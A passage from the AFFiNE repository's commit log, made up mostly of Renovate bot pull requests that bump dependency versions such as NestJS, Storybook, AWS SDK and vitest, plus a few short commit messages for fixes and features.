| [@blocksuite/icons](https://redirect.github.com/toeverything/icons) | [`2.1.73` -> `2.1.74`](https://renovatebot.com/diffs/npm/@blocksuite%2ficons/2.1.73/2.1.74) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2ficons/2.1.74?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2ficons/2.1.74?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2ficons/2.1.73/2.1.74?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2ficons/2.1.73/2.1.74?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/icons (@&#8203;blocksuite/icons)</summary>

### [`v2.1.74`](https://redirect.github.com/toeverything/icons/compare/ddeb030e72e9867b854dc32288b170d53df151ba...81fef5d8a1a764c19ed082bf156fad5ff672b57d)

[Compare Source](https://redirect.github.com/toeverything/icons/compare/ddeb030e72e9867b854dc32288b170d53df151ba...81fef5d8a1a764c19ed082bf156fad5ff672b57d)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-03 16:07:19 +00:00
renovate 7d006498b6 chore: bump up nestjs to v10.4.13 (#9004)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`10.4.12` -> `10.4.13`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.12/10.4.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`10.4.12` -> `10.4.13`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.12/10.4.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.12` -> `10.4.13`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.12/10.4.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.12` -> `10.4.13`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.12/10.4.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/testing](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing)) | [`10.4.12` -> `10.4.13`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.12/10.4.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.12` -> `10.4.13`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.12/10.4.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v10.4.13`](https://redirect.github.com/nestjs/nest/compare/v10.4.12...1eba0121a089be0e4880f37503dab7870602bb8e)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.12...v10.4.13)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

### [`v10.4.13`](https://redirect.github.com/nestjs/nest/compare/v10.4.12...1eba0121a089be0e4880f37503dab7870602bb8e)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.12...v10.4.13)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

### [`v10.4.13`](https://redirect.github.com/nestjs/nest/compare/v10.4.12...1eba0121a089be0e4880f37503dab7870602bb8e)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.12...v10.4.13)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

### [`v10.4.13`](https://redirect.github.com/nestjs/nest/compare/v10.4.12...1eba0121a089be0e4880f37503dab7870602bb8e)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.12...v10.4.13)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

### [`v10.4.13`](https://redirect.github.com/nestjs/nest/compare/v10.4.12...1eba0121a089be0e4880f37503dab7870602bb8e)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.12...v10.4.13)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/websockets)</summary>

### [`v10.4.13`](https://redirect.github.com/nestjs/nest/compare/v10.4.12...1eba0121a089be0e4880f37503dab7870602bb8e)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.12...v10.4.13)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-03 15:49:17 +00:00
CatsJuice 8ef5804af3 chore(ios): allow debugging webcontent (#8998) 2024-12-03 09:31:25 +00:00
pengx17 0c718921a0 fix(core): open-in-app page crash (#8995)
fix AF-1839

should not render `Link` in open-in-app component
2024-12-03 07:38:28 +00:00
CatsJuice 4b52212eab fix(mobile): avoid explorer node overlapping header when scrolling (#8992) 2024-12-03 07:02:14 +00:00
darkskygit eb64231899 feat(server): improve logs (#8977) 2024-12-03 06:47:17 +00:00
renovate 27d2735a64 chore: bump up all non-major dependencies (#8954)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.701.0` -> `3.703.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.701.0` -> `3.703.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.41.0` -> `8.42.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.41.0/8.42.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.41.0/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.41.0/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.41.0` -> `8.42.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.41.0/8.42.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.41.0/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.41.0/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.4.5/8.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-essentials/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-essentials/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-essentials/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-essentials/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.4.5/8.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-interactions/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-interactions/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-interactions/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-interactions/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.4.5/8.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-links/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-links/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-links/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-links/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.4.5/8.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-mdx-gfm/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-mdx-gfm/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-mdx-gfm/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-mdx-gfm/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.4.5/8.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.4.5/8.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact-vite/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact-vite/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact-vite/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact-vite/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.17.8` -> `20.17.9`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.8/20.17.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.8/20.17.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.8/20.17.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul)) | [`2.1.6` -> `2.1.8`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/2.1.6/2.1.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fcoverage-istanbul/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fcoverage-istanbul/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fcoverage-istanbul/2.1.6/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fcoverage-istanbul/2.1.6/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui)) | [`2.1.6` -> `2.1.8`](https://renovatebot.com/diffs/npm/@vitest%2fui/2.1.6/2.1.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fui/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fui/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fui/2.1.6/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fui/2.1.6/2.1.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [dotenv](https://redirect.github.com/motdotla/dotenv) | [`16.4.5` -> `16.4.6`](https://renovatebot.com/diffs/npm/dotenv/16.4.5/16.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/dotenv/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/dotenv/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/dotenv/16.4.5/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/dotenv/16.4.5/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [dotenv](https://redirect.github.com/motdotla/dotenv) | [`16.4.5` -> `16.4.6`](https://renovatebot.com/diffs/npm/dotenv/16.4.5/16.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/dotenv/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/dotenv/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/dotenv/16.4.5/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/dotenv/16.4.5/16.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [graphql-scalars](https://redirect.github.com/Urigo/graphql-scalars) | [`1.23.0` -> `1.24.0`](https://renovatebot.com/diffs/npm/graphql-scalars/1.23.0/1.24.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/graphql-scalars/1.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/graphql-scalars/1.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/graphql-scalars/1.23.0/1.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/graphql-scalars/1.23.0/1.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`8.26.0` -> `8.27.0`](https://renovatebot.com/diffs/npm/html-validate/8.26.0/8.27.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/8.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/8.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/8.26.0/8.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/8.26.0/8.27.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [marked](https://marked.js.org) ([source](https://redirect.github.com/markedjs/marked)) | [`15.0.2` -> `15.0.3`](https://renovatebot.com/diffs/npm/marked/15.0.2/15.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/marked/15.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/marked/15.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/marked/15.0.2/15.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/marked/15.0.2/15.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [napi](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.20` -> `3.0.0-alpha.21` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi/3.0.0-alpha.20/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi/3.0.0-alpha.20/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-derive](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.19` -> `3.0.0-alpha.20` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-derive/3.0.0-alpha.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-derive/3.0.0-alpha.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-derive/3.0.0-alpha.19/3.0.0-alpha.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-derive/3.0.0-alpha.19/3.0.0-alpha.20?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [nx](https://nx.dev) ([source](https://redirect.github.com/nrwl/nx/tree/HEAD/packages/nx)) | [`20.1.3` -> `20.1.4`](https://renovatebot.com/diffs/npm/nx/20.1.3/20.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nx/20.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nx/20.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nx/20.1.3/20.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nx/20.1.3/20.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
